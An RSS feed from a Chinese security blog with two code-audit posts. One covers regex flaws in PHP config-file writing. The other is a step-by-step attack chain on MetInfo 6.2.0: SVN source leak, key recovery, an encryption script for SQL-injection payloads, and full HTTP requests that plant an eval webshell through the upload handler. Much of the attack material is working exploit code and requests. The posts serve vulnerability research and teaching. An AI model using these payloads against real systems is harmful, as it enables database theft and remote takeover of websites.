<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>正则 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%AD%A3%E5%88%99/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 28 Apr 2020 02:52:18 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>正则写配置文件常见的漏洞</title>
		<link>/audit/1564.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 28 Apr 2020 02:52:18 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[正则]]></category>
		<guid isPermaLink="false">/?p=1564</guid>

					<description><![CDATA[之前ATEAM发了《这是一篇“不一样”的真实渗透测试案例分析》文章，其中dz的getshell的部份利用的就是对于配置文件正则处理不当，然后P牛的博客也写了一篇 经典写配置漏洞与几...]]></description>
										<content:encoded><![CDATA[<p>之前ATEAM发了《这是一篇“不一样”的真实渗透测试案例分析》文章，其中dz的getshell的部份利用的就是对于配置文件<span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>处理不当，然后P牛的博客也写了一篇 <a class="wp-editor-md-post-content-link" href="https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html">经典写配置漏洞与几种变形</a></p>
<p>本文总结下在正则下写文件常见的错误。</p>
<h2>无单行/s+贪婪模式</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*';/", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>config.php</p>
<pre><code class="language-php ">&lt;?php
$API = 'http://baidu.com/';
</code></pre>
<p>功能很简单，就是正则匹配API然后写入，主要的问题就出在正则身上，<strong>贪婪模式并且无/s单行</strong>，可以通过换行符绕过。看图:</p>
<p>第一次访问<br />
<img src="https://y4er.com/img/uploads/20200428107774.png" alt="image.png" /></p>
<p>这个时候再请求<br />
<img src="/wp-content/uploads/2020/04/20200428109683.png" alt="image.png" /></p>
<p>因为正则贪婪匹配的问题第二次请求会将<code>'a'</code>吃掉<code></code>进而逃逸单引号。</p>
<h2>单行/s+贪婪模式</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*';/s", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>正则多了<code>/s</code>，那么上面的payload在第二次访问时会将<code>%0a</code>换行也匹配上，单引号无法逃逸。</p>
<p>给出payload：<code>http://php.local/test/index.php?api=a';phpinfo();//</code></p>
<p><img src="/wp-content/uploads/2020/04/20200428102787.png" alt="image.png" /></p>
<p>思考一个问题：为什么<code></code>符号没有被转义？不是用了<code>addslashes()</code>吗？</p>
<p>在php的<a class="wp-editor-md-post-content-link" href="https://www.php.net/manual/zh/function.preg-replace.php#refsect1-function.preg-replace-parameters">官方手册</a>中提到了关于preg_replace()第二个参数转义的问题。</p>
<blockquote><p>
  引用：replacement中可以包含后向引用&#92;n 或<code>$n</code>，语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99，&#92;0和<code>$0</code>代表完整的模式匹配文本。 捕获子组的序号计数方式为：代表捕获子组的左括号从左到右， 从1开始数。如果要在replacement 中使用反斜线，必须使用4个(&#8220;<code>\\</code>&#8220;，译注：因为这首先是php的字符串，经过转义后，是两个，再经过 正则表达式引擎后才被认为是一个原文反斜线)。
</p></blockquote>
<p>四个反斜线才被解析为一个反斜线，所以我们的payload可以逃逸单引号。</p>
<p>还有一种是正则的解法，先请求<br />
<img src="/wp-content/uploads/2020/04/20200428104394.png" alt="image.png" /></p>
<p>再请求<br />
<img src="/wp-content/uploads/2020/04/20200428100791.png" alt="image.png" /><br />
可能插坏配置文件- &#8211;</p>
<h2>无单行/s+非贪婪</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*?';/", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>解法和无单行+贪婪是一样的，因为都可以通过换行逃逸。</p>
<h2>单行/s+非贪婪</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*?';/s", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>解法：<code>http://php.local/test/index.php?api=a';phpinfo();//</code></p>
<p><img src="/wp-content/uploads/2020/04/20200428100227.png" alt="image.png" /></p>
<p>因为四个<code></code>才算一个反斜线，我们只传了一个，写入的一个反斜线会将单引号的反斜线转义掉，进而逃逸单引号。</p>
<p>P牛的解法更简单</p>
<ul>
<li>http://localhost:9090/update.php?api=aaaa%27;phpinfo();//</li>
<li>http://localhost:9090/update.php?api=aaaa</li>
</ul>
<p>第一次传入放了一个单引号进去<br />
<img src="/wp-content/uploads/2020/04/20200428103461.png" alt="image.png" /></p>
<p>第二次传入因为是非贪婪，所以只替换掉了第一个单引号之前的，替换之后将我们的<code></code>吃掉了，进而phpinfo()逃逸出来。<br />
<img src="/wp-content/uploads/2020/04/20200428106984.png" alt="image.png" /></p>
<h2>总结</h2>
<p>还有一些define定义常量的例子，这里不一一列举了，明白了原理举一反三注意闭合就行了。涉及到正则表达式的特性和php函数的特性，又学到了一招。</p>
<h2>参考</h2>
<ol>
<li>https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html</li>
<li>https://www.php.net/manual/zh/function.preg-replace.php</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳</title>
		<link>/web/999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 27 Sep 2019 16:23:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[正则]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=999</guid>

					<description><![CDATA[今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。 svn泄露 svn是一个开放源代码的版本控制系统，如果在网站中存在.svn目录，那么我们...]]></description>
										<content:encoded><![CDATA[<p>今天公司做技术分享，分享了项目中的一个攻击<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>的案例，很有意思的攻击链，记录下。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/svn" title="svn" target="_blank">svn</a></span>泄露</h1>
<p>svn是一个开放源代码的版本控制系统，如果在网站中存在<code>.svn</code>目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时，Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/</p>
<p>在目标站中发现了<code>http://php.local/.svn/</code>目录泄露源代码，发现是metinfo cms，拿到了位于<code>config/config_safe.php</code>中的key，这个key起到了很大作用。</p>
<p>什么是key呢？为什么要有这个key呢？</p>
<p>在metinfo安装完成后，会在<code>config/config_safe.php</code>写入一个key，这个key是用来加密解密账户信息的，你可以在<code>app/system/include/class/auth.class.php</code>看到加解密算法。</p>
<p><img src="https://y4er.com/img/uploads/20190927220929.png" alt="20190927220929" /></p>
<p>可以看到加解密采用了<code>$this-&gt;auth_key.$key</code>作为盐值，<code>$key</code>默认为空，那么这个<code>$this-&gt;auth_key</code>在哪定义的呢？</p>
<p>config/config.inc.php:109</p>
<p><img src="/wp-content/uploads/2019/09/20190927221247.png" alt="20190927221247" /></p>
<p>有了这个key，我们可以自己针对性去加密解密程序密文。</p>
<p>有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，<strong>而加了密之后的参数一半不会再进行过滤了</strong>，我们可以找下可控的加密参数。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>匹配导致的注入</h1>
<p>全局搜索<code>$auth-&gt;decode</code>寻找可控的参数，并且不走过滤的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927221832.png" alt="20190927221832" /></p>
<p>app/system/user/web/getpassword.class.php:93</p>
<pre><code class="language-php ">public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
</code></pre>
<p>可以看到<code>$email</code>直接从<code>$_M['form']['p']</code>中经过<code>$auth-&gt;decode</code> <strong>解密</strong>获取，并没有进行过滤，然后在<code>get_user_by_email($email)</code>中代入数据库查询。但是经过了<code>is_email($email)</code>判断是否为正确的邮箱地址。</p>
<p>跟进app/system/include/function/str.func.php:26</p>
<pre><code class="language-php ">function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
</code></pre>
<p>很正常的正则表达式，<strong>但是唯一缺少的是<code>^</code>起始符！</strong>那么我们构造如<code>' and 1=1-- 1@qq.com</code>也会返回true！</p>
<p>email要经过<code>$auth-&gt;decode</code>解密，这个时候我们的key就派上用场了，我们可以使用<code>$auth-&gt;encode()</code>来加密我们的payload传进去，构成注入。</p>
<p>将auth类自己搞一份出来。</p>
<pre><code class="language-php ">&lt;?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927230507.png" alt="20190927230507" /></p>
<p>需要注意这个<code>123@qq.com</code>是你自己注册的用户，如果<code>met_user</code>表中不存在一条记录，是延时不了的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927230659.png" alt="20190927230659" /></p>
<p>延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？</p>
<h1>组合拳</h1>
<p>app/system/include/class/web.class.php:467 省略部分代码</p>
<pre><code class="language-php ">public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('&lt;!--&lt;!---->','&lt;!---->','&lt;!--fck-->','&lt;!--fck','fck-->','',&quot;r&quot;,substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] &amp;&amp; $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,&quot;WIN&quot;)) {
            $filename = @iconv(&quot;utf-8&quot;, &quot;GBK&quot;, $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}
</code></pre>
<p>在前台基类web.class.php中有<code>__destruct</code>魔术方法，而在这个方法中使用<code>file_put_contents(PATH_WEB.$filename, $output</code>写入文件，其中<code>$output</code>是通过<code>ob_get_contents()</code>获取的缓冲区数据，而<code>$filename</code>是从<code>$_M['form']['html_filename']</code>拿出来的，我们可控。</p>
<p>但是有一个if条件<code>$_M['form']['metinfonow'] == $_M['config']['met_member_force']</code>，这个<code>met_member_force</code>在哪呢？在数据库里，我们可以通过刚才的注入拿到！</p>
<p><img src="/wp-content/uploads/2019/09/20190927232524.png" alt="20190927232524" /></p>
<p>那么我们现在的目的就变为怎么去控制<code>$output</code>也就是缓冲区的值。</p>
<blockquote><p>
  ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
</p></blockquote>
<p>也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。</p>
<p>全局搜索<code>extends web</code>寻找子类，在子类中寻找可控echo输出，最终找到的是<code>app/system/include/module/uploadify.class.php</code>的doupfile()方法</p>
<pre><code class="language-php ">public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...
</code></pre>
<p>echo的$back变量是从<code>$_M['form']['formname']</code>取出来的，可控，向上推看back变量的取值由<code>$this-&gt;upfile-&gt;upload($formname)</code>决定，跟进。</p>
<pre><code class="language-php ">public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是否能正常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正确{}
    if ($filear[&quot;size&quot;] > $this->maxsize || $filear[&quot;size&quot;] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;);
    }
    //文件后缀是否为合法后缀
    $this->getext($filear[&quot;name&quot;]); //获取允许的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;);
    }
    ...
}
</code></pre>
<p>省略部分代码</p>
<p>我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。</p>
<p>首先是正常foreach取出<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。</p>
<h2>超出文件大小<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><img src="/wp-content/uploads/2019/09/20190927234118.png" alt="20190927234118" /></p>
<p>在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会<code>return $this-&gt;error(&amp;quot;{$_M['word']['upfileFile']}&amp;quot;.$filear[&amp;quot;name&amp;quot;].&amp;quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&amp;quot;);</code> 而这个<code>$filear[&amp;quot;name&amp;quot;]</code>是我们可控的，在foreach中赋值的。</p>
<p>那么这样我们就可以把<code>$filear[&amp;quot;name&amp;quot;]</code>改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。</p>
<p>但是这个8m太大了，<strong>我们可以通过注入进后台把这个限制改为0.0008</strong></p>
<p>构造下payload，<strong>需要注意<code>metinfonow</code>参数是上文中从数据库中取出的<code>met_member_force</code></strong></p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php eval($_POST[1]);?>&quot;
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927235251.png" alt="20190927235251" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235336.png" alt="20190927235336" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235402.png" alt="20190927235402" /></p>
<h2>无后缀getshell</h2>
<p>@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。</p>
<p>问题出在 app/system/include/class/upfile.class.php:139 getext()函数</p>
<p>如果不是合法后缀会<code>return $this-&gt;error($this-&gt;ext.&amp;quot; {$_M['word']['upfileTip3']}&amp;quot;)</code>，而<code>$this-&gt;ext</code>经过<code>getext()</code>函数，跟进</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}
</code></pre>
<p>直接<code>return $ext</code>，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell</p>
<p><img src="/wp-content/uploads/2019/09/20190928000955.png" alt="20190928000955" /></p>
<p><img src="/wp-content/uploads/2019/09/20190928001104.png" alt="20190928001104" /></p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php phpinfo();?>&quot;
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p>而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match(&quot;/^[0-9a-zA-Z]+$/u&quot;, $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}
</code></pre>
<h1>总结</h1>
<ol>
<li>svn泄露分版本</li>
<li>注册是邮件的正则匹配问题</li>
<li>参数加密一般不走全局过滤 找找注入</li>
<li>关注echo和ob_get_contents()函数 说不定能写shell呢</li>
</ol>
<p>参考链接</p>
<ol>
<li>https://nosec.org/home/detail/2436.html</li>
<li>https://xz.aliyun.com/t/4425</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
